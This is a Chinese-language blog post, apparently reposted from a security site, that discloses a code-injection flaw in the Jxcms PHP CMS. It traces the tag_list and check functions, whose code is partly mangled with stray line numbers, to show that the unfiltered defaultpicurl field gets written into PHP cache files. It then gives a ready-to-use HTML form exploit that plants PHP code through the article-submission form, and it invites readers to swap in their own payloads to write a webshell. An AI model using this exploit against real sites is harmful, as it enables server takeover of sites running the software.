JXCMS 0day
精迅CMS(Jxcms)是基于采用网络中已经成熟、稳定的技术PHP+MYSQL开发而成,利用本系统您可以很方便地管理自己的网站。本系统是一款由文章模型、采集管理、广告系统、会员中心、友情链接、公
告、单网页、数据备份还原等多个强大功能模块组合而成的强大、易用、扩展性强的开源网站管理软件。
我们以精益求精的态度,追求卓越品质,为中小网站用户提供一套完美的迅速建站解决方案,我们在开发过程中无处不充分考虑用户的使用习惯,尽最大可能降低用户的使用门槛,让用户关注于内容维
护本身,而不需要投入过多的时间来学习系统的使用技巧,在细节处下大工夫。
Jxcms目前只有一个文章模型,但已有的功能模块都努力做到精益求精,追求完美,Jxcms的模板对于用户非常友好,打开模板文件就能看到完美的模板界面(非独立模板需要把head和foot还原到相应的
文件中),非常适合于建设一般企业、政府、学校、个人等中小型网站。
官方的介绍。
官方:看标题你就了解。
下面直接分析代码和附上exp
生成缓存文件时调用了tag_list函数,函数中有处变量因为没有受到任何处理,导致返回的值完整的写入到缓存文件中,如果构造对应的exp,哪么就可以控制那处变量写入一个webshell到目标服务器上。
Include\tags.func.php
01
unction tag_list($type = ‘new’, $rows = 8, $catid = 0, $keywords = ”, $page = 0, $outid = 0, $hotday = 0, $catrule = ”) {
02
if ($type == ‘like’ && empty($keywords))return array();
03
$cachename = “list_{$type}_{$rows}”;
04
$cachedir = $catid ? $catid : ‘base’;
05
$page && $cachename .= “_{$page}”;
06
$outid && $cachename .= “_{$outid}”;
07
$hotday && $cachename .= “_{$hotday}”;
08
$catrule && $cachename .= ‘_’ . str_replace(‘:’, ”, $catrule);
09
$data = $type == ‘like’|| !CACHE ? false : cache_read($cachename, $cachedir, CACHE_TAGS_TTL); //一些内容不用缓存,避免缓存文件数过多
10
if ($data === false) {
11
$ename = get_model($catid, ‘ename’);
12
$data = $GLOBALS['tags_' . $ename] -> tag_list($type, $rows, $catid, 0, $keywords, $page, $outid, $hotday, $catrule); // 传入tag_list() 返回结果
13
$type != ‘like’&& CACHE && cache_write($cachename, $data, $cachedir); // $data 控制输出内容, $cachename 做了$data 的文件名称.
14
}
15
return $data;
16
}
这是最关心的地方,需要确保$data里有我们的代码,并且想办法执行它。不过tag_list还有一个弟弟,也叫tag_list。
——————-分割线——————-跟踪~~~
article\article.class.php
function tag_list($type = ‘new’, $rows = 8, $catid = 0, $onlypic = 0, $keywords = ”, $page = 0, $outid = 0, $hotday = 0, $catrule = ”) {
$res = array();
$data = $this -> get_data($type, $catid, $keywords, $rows, $onlypic, $page, $outid, $hotday, $catrule);
$i = 1;
while ($tmp = $this -> db -> fetch_array($data)) { // 取出的结果 遍历
$contenturl = ‘article.php?id=’ . $tmp['id'];
$categoryurl = ‘list.php?catid=’ . $tmp['catid'];
if ($this -> ishtml) {
$htmldir = getcontenthtmldir($tmp['catid']); // 后台设置生成内容页html保存的目录
$categoryurl = $this -> cat_s[$tmp['catid']]['dir'] . ‘/’;
$contenturl = gethtmlname($contenturl, $tmp['addtime'], $this -> htmlnametype, $this -> htmldirtype, $htmldir);
}
$tmpcolor = $tmp['color'] ? ‘ style=”color:’ . $tmp['color'] . ‘”‘ : ”; // !
if (empty($tmp['description']) && $GLOBALS['set_cutedeslen']) {
$tmp['description'] = tag_description($tmp['content'], $GLOBALS['set_cutedeslen'], 1); //!
17
18
if ($tmp['defaultpicurl']) {
19
$imgurl = strstr($tmp['defaultpicurl'], ‘://’) ? $tmp['defaultpicurl'] : $this -> rootdir . $tmp['defaultpicurl'];
20
} else $imgurl = ”;
21
22
$res[$i] = array(‘catname’ => $this -> cat_s[$tmp['catid']]['name'], ‘caturl’ => $this -> rootdir . $categoryurl, ‘url’ => $this -> rootdir . $contenturl, ‘imgurl’ => $imgurl, ‘title’ => shtmlspecialchars($tmp['title']), ‘color’ => $tmpcolor, ‘time’ => $tmp['updatetime'], ‘description’=> $tmp['description']); // 这里imgurl,title,description ,都是可以控制的。
23
$i++;
24
25
}
26
$page && $res = array(‘list’ => $res, ‘pages’ => $this -> pages);
27
return $res;
28
article/article.class.php function check() 回溯
function check($info, $uselinkurl, $cutedes) {
global $set_titlelen, $set_contentlen, $gcat_s, $charset, $set_cutedeslen;
$charset = strtolower($charset);
$info['title'] = trim($info['title']);
if (empty($info['title'])) {
$this -> msg = $this -> lang['title_empty'];
return false;
} else {
$info['title'] = shtmlspecialchars($info['title']);
$len = $charset == ‘utf-8′? utf8_strlen($info['title']) : strlen($info['title']);
if ($len < $set_titlelen[0] or $len > $set_titlelen[1]) {
$this -> msg = $this -> lang['title_length_error'];
return false;
if (!defined(‘JXCMS_ADMIN’)) {
$info['content'] = fbword(RemoveXSS($info['content'])); //RemoveXss 是一个自定义过滤函数,目前还没办法绕过.
$info['title'] = fbword($info['title']);
isset($info['description']) && $info['description'] = fbword($info['description']);
$len = $charset == ‘utf-8′? utf8_strlen($info['content']) : strlen($info['content']);
if (!$uselinkurl && ($len > $set_contentlen[1] or $len < $set_contentlen[0])) {
$this -> msg = $this -> lang['content_length_error'];
$info['catid'] = intval($info['catid']);
$tmp = &$gcat_s[$info['catid']];
if ($tmp['model'] == 0 or $tmp['isparent'] == 1) {
29
$this -> msg = $this -> lang['cate_error'];
30
31
32
if (isset($info['description'])) $info['description'] = strip_tags($info['description']); //strip_tags 函数以为能用evevalal这样来试着绕过,但是定界符用的小于号被删掉了。这样代码规范就不完整了。
33
elseif (!empty($info['content']) && $set_cutedeslen && $cutedes) {
34
$tmp = strip_tags($info['content']);
35
$info['description'] = tag_cut($tmp, $set_cutedeslen);
36
虽然过滤掉了几个比较重要的字段,不过还不是很完整, 如果要利用上面的缓存文件写入我们的Shell, 他们漏掉了[defaultpicurl]。
所以只要控制了defaultpicurl 就能有办法写入我们的代码.
具体怎么利用,这里给出了一个exp供大家测试。提交完成后。等管理员审核完文章后。在前台访问曾发布过的文章。然后访问http://www.2cto.com /cache/目录/list_new_10.php。测试之后发现了几个问题,hash值,每个电脑不一样,http://www.2cto.com /post.php
红色标记了。
—————–分割线———————– 下面就是exp
红色部分是需要修改。
<html>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=gbk” />
<title>JxCms Exp</title>
</head>
<body>
<div id=”post”>
<h3>#Date 2011.9.28</h3><hr />
<h4>#Team : 和谐小组</h4><hr />
<h5>#Author:欧欧</h5><hr />
<form action=”http://www.2cto.com /post.php?action=addarticle”method=”post”name=”myform”> <!–填写路径–>
<input type=”hidden”name=”hash”value=”6fb0d7934c82ea5″/> <dl>
<br>
<dt><span>*</span>目录:http://www.2cto.com /cache/目录/list_new_10.php</dt>
<dd>
<select name=”info[catid]” id=”catid” require=”true” datatype=”number” msg=”" msgid=”catid_info”>
<option value=”>请选择…</option>
<option value=’2′>2</option><option value=’3′>3</select>
<span id=”catid_info”></span></dd>
</dl>
<dl>
<dt><span>*</span> 标 题:</dt>
<dd><input type=”text” name=”info[title]” value=”"
size=”60″require=”true”datatype=”require”msg=”标题不能为空”
/></dd>
<dt><span>*</span>内容:<br />最多1000000个英文字符</dt>
<dd><textarea id=”content” name=”info[content]”
style=”width: 600px; height: 200px;” require=”true” datatype=”require”
msg=”内容不能为空”>{H.X.S.T}</textarea></dd>
<dl>
<dt> </dt>
<td>Code:</td>
<td><input type=”text” value=”" hkmjj=”<?php
phpinfo();?>” name=”info[defaultpicurl]” id=”defaultpicurl”
size=”25″></td>
<span>*</span> 验证码:</dt>
<dd><input type=”text”size=”4″name=”captcha”
require=”true”datatype=”require”msg=”验证码不能为空”msgid=”captcha_info”
/> <img src=”http://www.2cto.com /captcha.php”id=”code_img”align=”absmiddle”title=”看不清?点击更换验证码”><span id=”captcha_info”></span>
<dd><button type=”submit”name=”submit”value=”submit”>提 交</button></dd>
http://www.2cto.com /cache/目录/list_new_10.php
</form>
</div>
<!–end main–>
</body>
</html>
——————————无敌分割线——————————
内容最后不要乱写。code phpinfo(); 不会在后台的内容显示,所以放心,如果你改成 “><?php phpinfo();?>< 后台的修改确认会出一点小问题。大家自由发挥。
写完不容易,有错误或者解释不详细,还请多多指教,毕竟是新手
下一篇:C段时防管理员K的Bat